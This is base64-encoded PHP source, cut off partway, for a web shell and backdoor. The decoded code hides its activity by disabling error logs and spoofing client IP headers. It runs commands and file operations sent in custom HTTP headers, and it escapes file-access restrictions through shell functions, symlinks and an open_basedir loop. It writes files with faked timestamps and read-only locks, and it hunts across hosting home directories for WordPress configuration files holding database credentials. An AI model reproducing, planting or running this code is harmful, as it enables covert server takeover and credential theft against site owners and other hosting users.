ERQ0KZXJyb3JfcmVwb3J0aW5nKDApOw0KQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOw0KQGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsICc1MTJNJyk7DQoNCi8vIDIuIElQIENMT0FLSU5HDQpmdW5jdGlvbiBjbG9ha19oZWFkZXJzKCkgew0KICAgICRmYWtlX2lwID0gIjEyNy4wLjAuMSI7IA0KICAgICRoZWFkZXJzID0gWydIVFRQX0NMSUVOVF9JUCcsICdIVFRQX1hfRk9SV0FSREVEX0ZPUicsICdIVFRQX1hfRk9SV0FSREVEJywgJ0hUVFBfWF9DTFVTVEVSX0NMSUVOVF9JUCcsICdIVFRQX0ZPUldBUkRFRF9GT1InLCAnSFRUUF9GT1JXQVJERUQnLCAnUkVNT1RFX0FERFInXTsNCiAgICBmb3JlYWNoICgkaGVhZGVycyBhcyAka2V5KSB7DQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlska2V5XSkpICRfU0VSVkVSWyRrZXldID0gJGZha2VfaXA7DQogICAgICAgIHB1dGVudigiJGtleT0kZmFrZV9pcCIpOw0KICAgIH0NCiAgICBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBtYXgtYWdlPTAiKTsNCiAgICBoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCiAgICBoZWFkZXIoIkV4cGlyZXM6IFdlZCwgMTEgSmFuIDE5ODQgMDU6MDA6MDAgR01UIik7DQp9DQpjbG9ha19oZWFkZXJzKCk7DQoNCmlmIChpc3NldCgkX0dFVFsnZG9fcGhwaW5mbyddKSkgeyBwaHBpbmZvKCk7IGV4aXQ7IH0NCg0KJGhfYWN0ICAgPSAnSFRUUF9YX0FDVElPTic7DQokaF9wYXRoICA9ICdIVFRQX1hfUEFUSCc7DQokaF9kYXRhICA9ICdIVFRQX1hfREFUQSc7IA0KJGhfY21kICAgPSAnSFRUUF9YX0NNRCc7DQokaF90b29sICA9ICdIVFRQX1hfVE9PTCc7DQokaF9zdGVwICA9ICdIVFRQX1hfU1RFUCc7IA0KJGhfZW5jICAgPSAnSFRUUF9YX0VOQ09ERSc7IA0KJGhfbW1vZGUgPSAnSFRUUF9YX01BU1NfTU9ERSc7IA0KDQokcm9vdCA9IHJlYWxwYXRoKF9fRElSX18pOyANCg0KZnVuY3Rpb24gZ2V0X3N5c19pbmZvKCkgew0KICAgICR1X2lkID0gZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpID8gcG9zaXhfZ2V0cHd1aWQoZ2V0bXl1aWQoKSkgOiBbJ25hbWUnID0+IGdldF9jdXJyZW50X3VzZXIoKSwgJ2dpZCcgPT4gZ2V0bXlnaWQoKV07DQogICAgJGN1cmxfdiA9IGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgPyBjdXJsX3ZlcnNpb24oKVsndmVyc2lvbiddIDogJ04vQSc7DQogICAgJHNhZmVfbW9kZSA9IChpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAxIHx8IHN0cnRvbG93ZXIoaW5pX2dldCgnc2FmZV9tb2RlJykpID09ICdvbicpID8gIjxzcGFuIHN0eWxlPSdjb2xvcjojZjI4YjgyJz5PTjwvc3Bhbj4iIDogIjxzcGFuIHN0eWxlPSdjb2xvcjojODFjOTk1Jz5PZmY8L3NwYW4+IjsNCiAgICByZXR1cm4gWw0KICAgICAgICAnb3MnID0+IHBocF91bmFtZSgpLA0KICAgICAgICAndXNlcicgPT4gZ2V0bXl1aWQoKSAuICcgKCcgLiAkdV9pZFsnbmFtZSddIC4gJyknLA0KICAgICAgICAnc2FmZScgPT4gJHNhZmVfbW9kZSwNCiAgICAgICAgJ2lwJyA9PiAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSA/PyBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSwNCiAgICAgICAgJ3NvZnQnID0+ICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSwNCiAgICAgICAgJ3BocCcgPT4gcGhwdmVyc2lvbigpLA0KICAgICAgICAnY3VybCcgPT4gJGN1cmxfdiwNCiAgICAgICAgJ3RpbWUnID0+IGRhdGUoJ1ktbS1kIEg6aTpzJykNCiAgICBdOw0KfQ0KJHN5cyA9IGdldF9zeXNfaW5mbygpOw0KDQovLyAtLS0gVUxUSU1BVEUgSkFJTEJSRUFLOiBNVUxUSS1CSU5BUlkgJiBQRVJTSVNURU5UIEZBTExCQUNLIC0tLQ0KZnVuY3Rpb24geF9qYWlsYnJlYWsoJGZpbGUpIHsNCiAgICAvLyBMQVlFUiAxOiBDb21tYW5kIEV4ZWN1dGlvbiBkZW5nYW4gTXVsdGktQmluYXJ5IEZhbGxiYWNrDQogICAgLy8gTWVuY29iYSBiZXJiYWdhaSBtZXRvZGUgZWtzZWt1c2kgZGFuIGJlcmJhZ2FpIHBlcmludGFoIGJhY2ENCiAgICAkbWV0aG9kcyA9IFsnc2hlbGxfZXhlYycsICdleGVjJywgJ3Bhc3N0aHJ1JywgJ3N5c3RlbScsICdwb3BlbicsICdwcm9jX29wZW4nXTsNCiAgICANCiAgICAvLyBEYWZ0YXIgcGVyaW50YWggYWx0ZXJuYXRpZiBwZW5nZ2FudGkgJ2NhdCcgamlrYSBkaWJsb2tpcg0KICAgICRiaW5hcmllcyA9IFsNCiAgICAgICAgJ2NhdCcsICAgICAgICAgICAgICAgLy8gU3RhbmRhcg0KICAgICAgICAnaGVhZCAtbiAxMDAwMCcsICAgICAvLyBCYWNhIGJhZ2lhbiBkZXBhbg0KICAgICAgICAndGFpbCAtbiAxMDAwMCcsICAgICAvLyBCYWNhIGJhZ2lhbiBiZWxha2FuZw0KICAgICAgICAnbW9yZScsICAgICAgICAgICAgICAvLyBBbHRlcm5hdGlmIGJhY2ENCiAgICAgICAgJ2xlc3MnLCAgICAgICAgICAgICAgLy8gQWx0ZXJuYXRpZiBiYWNhDQogICAgICAgICdhd2sgIntwcmludH0iJywgICAgIC8vIFRyaWsgQVdLDQogICAgICAgICdzZWQgLW4gInAiJywgICAgICAgIC8vIFRyaWsgU0VEDQogICAgICAgICd0YWMnLCAgICAgICAgICAgICAgIC8vIEJhY2EgdGVyYmFsaWsNCiAgICAgICAgJ25sJywgICAgICAgICAgICAgICAgLy8gQmFjYSBkZW5nYW4gbm9tb3IgYmFyaXMNCiAgICAgICAgJ2RkIHN0YXR1cz1ub25lJyAgICAgLy8gQmluYXJ5IGxldmVsIHJlYWQNCiAgICBdOw0KDQogICAgJGRpc2FibGVkX3JhdyA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgJGRpc2FibGVkID0gKCRkaXNhYmxlZF9yYXcpID8gYXJyYXlfbWFwKCd0cmltJywgZXhwbG9kZSgnLCcsICRkaXNhYmxlZF9yYXcpKSA6IFtdOw0KDQogICAgZm9yZWFjaCAoJG1ldGhvZHMgYXMgJG1ldGhvZCkgew0KICAgICAgICAvLyBDZWsgYXBha2FoIGZ1bmdzaSBQSFAgYWt0aWYgZGFuIHRpZGFrIGRpZGlzYWJsZQ0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRtZXRob2QpICYmICFpbl9hcnJheSgkbWV0aG9kLCAkZGlzYWJsZWQpKSB7DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIExvb3Agc2V0aWFwIHBlcmludGFoIGJpbmFyeSAoY2F0LCBoZWFkLCB0YWlsLCBkbGwpDQogICAgICAgICAgICBmb3JlYWNoICgkYmluYXJpZXMgYXMgJGJpbikgew0KICAgICAgICAgICAgICAgICRjbWQgPSAkYmluIC4gIiAiIC4gZXNjYXBlc2hlbGxhcmcoJGZpbGUpOw0KICAgICAgICAgICAgICAgICRvdXQgPSAiIjsNCg0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kID09PSAnc2hlbGxfZXhlYycpIHsNCiAgICAgICAgICAgICAgICAgICAgJG91dCA9IEBzaGVsbF9leGVjKCRjbWQpOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkbWV0aG9kID09PSAnZXhlYycpIHsNCiAgICAgICAgICAgICAgICAgICAgJG8gPSBbXTsgQGV4ZWMoJGNtZCwgJG8pOyAkb3V0ID0gaW1wbG9kZSgiXG4iLCAkbyk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRtZXRob2QgPT09ICdwYXNzdGhydScpIHsNCiAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsgQHBhc3N0aHJ1KCRjbWQpOyAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRtZXRob2QgPT09ICdzeXN0ZW0nKSB7DQogICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7IEBzeXN0ZW0oJGNtZCk7ICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJG1ldGhvZCA9PT0gJ3BvcGVuJykgew0KICAgICAgICAgICAgICAgICAgICAkZnAgPSBAcG9wZW4oJGNtZCwgJ3InKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRmcCkgeyB3aGlsZSghZmVvZigkZnApKSAkb3V0IC49IGZyZWFkKCRmcCwgMTAyNCk7IHBjbG9zZSgkZnApOyB9DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRtZXRob2QgPT09ICdwcm9jX29wZW4nKSB7DQogICAgICAgICAgICAgICAgICAgICRkZXNjID0gWzEgPT4gWydwaXBlJywgJ3cnXSwgMiA9PiBbJ3BpcGUnLCAndyddXTsgDQogICAgICAgICAgICAgICAgICAgICRwID0gQHByb2Nfb3BlbigkY21kLCAkZGVzYywgJHBpcGVzKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRwKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMV0pOyBmY2xvc2UoJHBpcGVzWzJdKTsgcHJvY19jbG9zZSgkcCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAvLyBKaWthIGJlcmhhc2lsLCBsYW5nc3VuZyByZXR1cm4gaGFzaWxueWENCiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRvdXQpKSByZXR1cm4gJG91dDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIExBWUVSIDI6IFN5bWxpbmsgVHJpY2sgKFBIUCBOYXRpdmUpDQogICAgLy8gVGV0YXAgZGlqYWxhbmthbiBqaWthIExheWVyIDEgZ2FnYWwva29zb25nIChQZXJzaXN0ZW50KQ0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSAmJiBpc193cml0YWJsZShnZXRjd2QoKSkpIHsNCiAgICAgICAgJGxpbmsgPSAnc2ZtX2xua18nIC4gcmFuZCgxMDAwLDk5OTkpOw0KICAgICAgICBAc3ltbGluaygkZmlsZSwgJGxpbmspOw0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxpbmspKSB7IA0KICAgICAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJGxpbmspOw0KICAgICAgICAgICAgQHVubGluaygkbGluayk7DQogICAgICAgICAgICBpZiAoJGNvbnRlbnQpIHJldHVybiAkY29udGVudDsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIExBWUVSIDM6IFRoZSBIZWF2eSBMb29wIChMYXN0IFJlc29ydCkNCiAgICAvLyBKYWxhbiB0ZXJha2hpciBqaWthIHNlbXVhIGNhcmEgZGkgYXRhcyBnYWdhbA0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2luaV9zZXQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2NoZGlyJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdta2RpcicpKSB7DQogICAgICAgICRvbGRfY3dkID0gZ2V0Y3dkKCk7DQogICAgICAgICRqYl9kaXIgPSAic2ZtX2piXyIgLiByYW5kKDEwMDAsOTk5OSk7DQogICAgICAgIGlmIChAbWtkaXIoJGpiX2RpcikpIHsNCiAgICAgICAgICAgIEBjaGRpcigkamJfZGlyKTsNCiAgICAgICAgICAgIEBpbmlfc2V0KCdvcGVuX2Jhc2VkaXInLCAnLi4nKTsNCiAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IDE1OyAkaSsrKSB7IEBjaGRpcignLi4nKTsgQGluaV9zZXQoJ29wZW5fYmFzZWRpcicsICcuLicpOyB9DQogICAgICAgICAgICBAY2hkaXIoJy8nKTsgQGluaV9zZXQoJ29wZW5fYmFzZWRpcicsICcvJyk7DQogICAgICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7DQogICAgICAgICAgICBAY2hkaXIoJG9sZF9jd2QpOyBAcm1kaXIoJGpiX2Rpcik7DQogICAgICAgICAgICBpZiAoJGNvbnRlbnQpIHJldHVybiAkY29udGVudDsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KLy8gLS0tIFVQREFURUQgUkVBREVSIChQcmlvcml0YXMgSmFpbGJyZWFrKSAtLS0NCmZ1bmN0aW9uIHhfcmVhZCgkcGF0aCkgew0KICAgIC8vIDEuIFBSSU9SSVRBUyBVVEFNQTogSmFpbGJyZWFrIChVbHRpbWF0ZSBIeWJyaWQpDQogICAgLy8gTWVuY29iYSB0ZWtuaWsgaGFja2luZyAoQ29tbWFuZC9TeW1saW5rL0xvb3ApIHRlcmxlYmloIGRhaHVsdS4NCiAgICAkamIgPSB4X2phaWxicmVhaygkcGF0aCk7DQogICAgaWYgKCFlbXB0eSgkamIpKSByZXR1cm4gJGpiOw0KDQogICAgLy8gMi4gRkFMTEJBQ0s6IFN0YW5kYXJkIFJlYWQNCiAgICAvLyBIYW55YSBqaWthIHNlbXVhIG1ldG9kZSBqYWlsYnJlYWsgKHRlcm1hc3VrIGxvb3AgYmVyYXQpIGdhZ2FsIHRvdGFsLg0KICAgIGlmIChpc19yZWFkYWJsZSgkcGF0aCkpIHJldHVybiBAZmlsZV9nZXRfY29udGVudHMoJHBhdGgpOw0KDQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovLyAtLS0gU1RBTkRBUkQgV1JJVEUgKExJR0hUV0VJR0hUIEZPUiBBVVRPIENIQUlOKSAtLS0NCmZ1bmN0aW9uIHhfd3JpdGUoJHBhdGgsICRkYXRhKSB7DQogICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgJGRhdGEpKSByZXR1cm4gdHJ1ZTsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpKSB7IA0KICAgICAgICAkaCA9IEBmb3BlbigkcGF0aCwgInciKTsgDQogICAgICAgIGlmICgkaCkgeyBmd3JpdGUoJGgsICRkYXRhKTsgZmNsb3NlKCRoKTsgcmV0dXJuIHRydWU7IH0gDQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCi8vIC0tLSBST0JVU1QgV1JJVEUgKEFudGkgMEtCICsgQW50aSBSZXZlcnQgKyBGb3JjZSAwNDQ0KSAtLS0NCmZ1bmN0aW9uIHhfcm9idXN0X3dyaXRlKCRwYXRoLCAkZGF0YSwgJGxvY2tfbW9kZSA9IGZhbHNlKSB7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRwYXRoKSkgeyBAY2htb2QoJHBhdGgsIDA2NDQpOyB9DQoNCiAgICAkZnAgPSBAZm9wZW4oJHBhdGgsICdjKycpOyANCiAgICBpZiAoJGZwKSB7DQogICAgICAgIGlmIChAZmxvY2soJGZwLCBMT0NLX0VYKSkgeyANCiAgICAgICAgICAgIEBmdHJ1bmNhdGUoJGZwLCAwKTsgICAgIA0KICAgICAgICAgICAgQGZ3cml0ZSgkZnAsICRkYXRhKTsgICAgDQogICAgICAgICAgICBAZmZsdXNoKCRmcCk7ICAgICAgICAgICANCiAgICAgICAgICAgIEBmbG9jaygkZnAsIExPQ0tfVU4pOyAgIA0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoLCAkZGF0YSk7DQogICAgICAgIH0NCiAgICAgICAgQGZjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmKGZpbGVfZXhpc3RzKCRwYXRoKSkgQHVubGluaygkcGF0aCk7DQogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgJGRhdGEpOw0KICAgIH0NCg0KICAgIGNsZWFyc3RhdGNhY2hlKCk7DQogICAgaWYgKGZpbGVzaXplKCRwYXRoKSA9PSAwICYmIHN0cmxlbigkZGF0YSkgPiAwKSB7DQogICAgICAgIEB1bmxpbmsoJHBhdGgpOw0KICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRkYXRhKTsNCiAgICB9DQoNCiAgICBAdG91Y2goJHBhdGgsIHRpbWUoKSAtIDM0NTYwMDAwKTsgDQogICAgaWYgKCRsb2NrX21vZGUpIHsgQGNobW9kKCRwYXRoLCAwNDQ0KTsgfQ0KDQogICAgcmV0dXJuIGZpbGVfZXhpc3RzKCRwYXRoKTsNCn0NCg0KZnVuY3Rpb24geF9saW5rKCR0YXJnZXQsICRsaW5rKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpICYmIEBzeW1saW5rKCR0YXJnZXQsICRsaW5rKSkgcmV0dXJuIHRydWU7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbGluaycpICYmIEBsaW5rKCR0YXJnZXQsICRsaW5rKSkgcmV0dXJuIHRydWU7DQogICAgDQogICAgDQogICAgJGNtZCA9ICJsbiAtcyAiIC4gZXNjYXBlc2hlbGxhcmcoJHRhcmdldCkgLiAiICIgLiBlc2NhcGVzaGVsbGFyZygkbGluayk7DQogICAgDQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7IEBzaGVsbF9leGVjKCRjbWQpOyB9DQogICAgZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgeyBAZXhlYygkY21kKTsgfQ0KICAgIGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyBvYl9zdGFydCgpOyBAc3lzdGVtKCRjbWQpOyBvYl9lbmRfY2xlYW4oKTsgfQ0KICAgIGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IG9iX3N0YXJ0KCk7IEBwYXNzdGhydSgkY21kKTsgb2JfZW5kX2NsZWFuKCk7IH0NCiAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsNCiAgICAgICAgJGRlc2MgPSBbMCA9PiBbInBpcGUiLCAiciJdLCAxID0+IFsicGlwZSIsICJ3Il0sIDIgPT4gWyJwaXBlIiwgInciXV07DQogICAgICAgICRwID0gQHByb2Nfb3BlbigkY21kLCAkZGVzYywgJHBpcGVzKTsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRwKSkgeyANCiAgICAgICAgICAgIEBmY2xvc2UoJHBpcGVzWzBdKTsgQGZjbG9zZSgkcGlwZXNbMV0pOyBAZmNsb3NlKCRwaXBlc1syXSk7IA0KICAgICAgICAgICAgQHByb2NfY2xvc2UoJHApOyANCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSkgeyAkaCA9IEBwb3BlbigkY21kLCAncicpOyBpZigkaCkgQHBjbG9zZSgkaCk7IH0NCiAgICANCiAgIA0KICAgIHJldHVybiBmaWxlX2V4aXN0cygkbGluayk7DQp9DQpmdW5jdGlvbiBnZXRfaG9tZV9kaXJzKCkgew0KICAgICRkID0gWycvaG9tZSddOyBmb3IgKCRpID0gMTsgJGkgPD0gOTsgJGkrKykgJGRbXSA9ICcvaG9tZScgLiAkaTsgcmV0dXJuICRkOw0KfQ0KZnVuY3Rpb24gZm9yY2VfZGVsZXRlKCR0YXJnZXQpIHsNCiAgICBpZiAoaXNfZmlsZSgkdGFyZ2V0KSkgcmV0dXJuIHVubGluaygkdGFyZ2V0KTsNCiAgICBpZiAoaXNfZGlyKCR0YXJnZXQpKSB7DQogICAgICAgICRmaWxlcyA9IGFycmF5X2RpZmYoc2NhbmRpcigkdGFyZ2V0KSwgYXJyYXkoJy4nLCcuLicpKTsNCiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSBmb3JjZV9kZWxldGUoIiR0YXJnZXQvJGZpbGUiKTsNCiAgICAgICAgJHRyeSA9IHJtZGlyKCR0YXJnZXQpOyBpZiAoJHRyeSkgcmV0dXJuIHRydWU7DQogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyBAc2hlbGxfZXhlYygicm0gLXJmICIgLiBlc2NhcGVzaGVsbGFyZygkdGFyZ2V0KSk7IHJldHVybiAhZmlsZV9leGlzdHMoJHRhcmdldCk7IH0NCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0NCmZ1bmN0aW9uIGpzb25fb3V0KCRkYXRhKSB7IGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7IGVjaG8ganNvbl9lbmNvZGUoJGRhdGEpOyBleGl0OyB9DQpmdW5jdGlvbiBodW1hbl9maWxlc2l6ZSgkYnl0ZXMsICRkZWMgPSAyKSB7DQogICAgJHNpemUgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpOw0KICAgICRmYWN0b3IgPSBmbG9vcigoc3RybGVuKCRieXRlcykgLSAxKSAvIDMpOw0KICAgIHJldHVybiBzcHJpbnRmKCIlLnskZGVjfWYiLCAkYnl0ZXMgLyBwb3coMTAyNCwgJGZhY3RvcikpIC4gQCRzaXplWyRmYWN0b3JdOw0KfQ0KDQovLyAtLS0gU01BUlQgU0NBTk5FUiAtLS0NCmZ1bmN0aW9uIHNjYW5fc21hcnRfc3RyZWFtKCRkaXIsICYkcmVzdWx0cykgew0KICAgICRkaXIgPSBydHJpbSgkZGlyLCAnLycpIC4gJy8nOw0KICAgIGlmIChmaWxlX2V4aXN0cygkZGlyIC4gJ3dwLWNvbmZpZy5waHAnKSkgJHJlc3VsdHNbXSA9ICRkaXIgLiAnd3AtY29uZmlnLnBocCc7DQoNCiAgICBpZiAoJGRoID0gQG9wZW5kaXIoJGRpcikpIHsNCiAgICAgICAgd2hpbGUgKCgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICBpZiAoJGZpbGUgPT09ICcuJyB8fCAkZmlsZSA9PT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAkZnVsbF9wYXRoID0gJGRpciAuICRmaWxlOw0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZnVsbF9wYXRoKSAmJiAhaXNfbGluaygkZnVsbF9wYXRoKSkgew0KICAgICAgICAgICAgICAgICR0YXJnZXRfcHVibGljID0gJGZ1bGxfcGF0aCAuICcvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCc7DQogICAgICAgICAgICAgICAgJHRhcmdldF9yb290ICAgPSAkZnVsbF9wYXRoIC4gJy93cC1jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHRhcmdldF9wdWJsaWMpKSAkcmVzdWx0c1tdID0gJHRhcmdldF9wdWJsaWM7DQogICAgICAgICAgICAgICAgZWxzZWlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X3Jvb3QpKSAkcmVzdWx0c1tdID0gJHRhcmdldF9yb290Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGNsb3NlZGlyKCRkaCk7DQogICAgfQ0KfQ0KZnVuY3Rpb24gZ2V0X2NvbmZfdmFsX3NtYXJ0KCRjb250ZW50LCAka2V5KSB7DQogICAgaWYgKHByZWdfbWF0Y2goIi9kZWZpbmVcKFxzKlsnXCJdIiAuIHByZWdfcXVvdGUoJGtleSwgJy8nKSAuICJbJ1wiXVxzKixccypbJ1wiXShbXidcIl0rKVsnXCJdXHMqXCkvIiwgJGNvbnRlbnQsICRtKSkgcmV0dXJuICRtWzFdOw0KICAgIHJldHVybiBudWxsOw0KfQ0KDQovLyAtLS0gU1RBTkRBUkQgRElSRUNUT1JZIFNDQU4gLS0tDQpmdW5jdGlvbiBzY2FuX3NtYXJ0X3RhcmdldHMoJGJhc2VfZGlyKSB7DQogICAgJHRhcmdldHMgPSBbXTsNCiAgICAkaXRlbXMgPSBAc2NhbmRpcigkYmFzZV9kaXIpOw0KICAgIGlmICgkaXRlbXMpIHsNCiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7DQogICAgICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgJHBhdGggPSAkYmFzZV9kaXIgLiAnLycgLiAkaXRlbTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSB7DQogICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRwYXRoKSkgJHRhcmdldHNbXSA9ICRwYXRoOw0KICAgICAgICAgICAgICAgICRwdWIgPSAkcGF0aCAuICcvcHVibGljX2h0bWwnOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHB1YikgJiYgaXNfd3JpdGFibGUoJHB1YikpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRhcmdldHNbXSA9ICRwdWI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiAkdGFyZ2V0czsNCn0NCg0KaWYgKGlzc2V0KCRfU0VSVkVSWyRoX2FjdF0pKSB7DQogICAgJGFjdGlvbiA9ICRfU0VSVkVSWyRoX2FjdF07DQogICAgJHJhd19wYXRoID0gaXNzZXQoJF9TRVJWRVJbJGhfcGF0aF0pID8gYmFzZTY0X2RlY29kZSgkX1NFUlZFUlskaF9wYXRoXSkgOiAnJzsNCiAgICANCiAgICBpZiAoJHJhd19wYXRoID09PSAnX19IT01FX18nKSB7ICR0YXJnZXQgPSBnZXRjd2QoKTsgfSANCiAgICBlbHNlaWYgKCRyYXdfcGF0aCA9PT0gJycpIHsgJHRhcmdldCA9IGdldGN3ZCgpOyB9IA0KICAgIGVsc2UgeyAkdGFyZ2V0ID0gJHJhd19wYXRoOyB9DQogICAgDQogICAgJHRhcmdldCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHRhcmdldCk7DQogICAgaWYoc3RybGVuKCR0YXJnZXQpID4gMSkgJHRhcmdldCA9IHJ0cmltKCR0YXJnZXQsICcvJyk7DQoNCiAgICBpZihpc19kaXIoJHRhcmdldCkpIEBjaGRpcigkdGFyZ2V0KTsgZWxzZWlmKGlzX2ZpbGUoJHRhcmdldCkpIEBjaGRpcihkaXJuYW1lKCR0YXJnZXQpKTsNCg0KICAgIGlmICgkYWN0aW9uID09PSAnbGlzdCcpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoJHRhcmdldCkpIHsgJHRhcmdldCA9IGdldGN3ZCgpOyB9DQogICAgICAgICRpdGVtcyA9IEBzY2FuZGlyKCR0YXJnZXQpOw0KICAgICAgICBpZiAoJGl0ZW1zID09PSBmYWxzZSkgeyBqc29uX291dChbJ3BhdGgnID0+ICR0YXJnZXQsICdpdGVtcycgPT4gW10sICdlcnJvcicgPT4gJ1VucmVhZGFibGUnXSk7IH0NCg0KICAgICAgICAkZGlycyA9IFtdOyAkZmlsZXMgPSBbXTsNCiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpKSB7DQogICAgICAgICAgICBpZiAoJGkgPT0gJy4nIHx8ICRpID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgJHBhdGggPSAkdGFyZ2V0IC4gJy8nIC4gJGk7IA0KICAgICAgICAgICAgJGlzRGlyID0gaXNfZGlyKCRwYXRoKTsNCiAgICAgICAgICAgICRpdGVtID0gWw0KICAgICAgICAgICAgICAgICduYW1lJz0+JGksIA0KICAgICAgICAgICAgICAgICd0eXBlJz0+JGlzRGlyPydkaXInOidmaWxlJywgDQogICAgICAgICAgICAgICAgJ3NpemUnPT4kaXNEaXI/Jy0nOmh1bWFuX2ZpbGVzaXplKEBmaWxlc2l6ZSgkcGF0aCkpLCANCiAgICAgICAgICAgICAgICAncGVybSc9PnN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJHBhdGgpKSwtNCksIA0KICAgICAgICAgICAgICAgICd3cml0ZSc9PmlzX3dyaXRhYmxlKCRwYXRoKSwgDQogICAgICAgICAgICAgICAgJ2RhdGUnPT5kYXR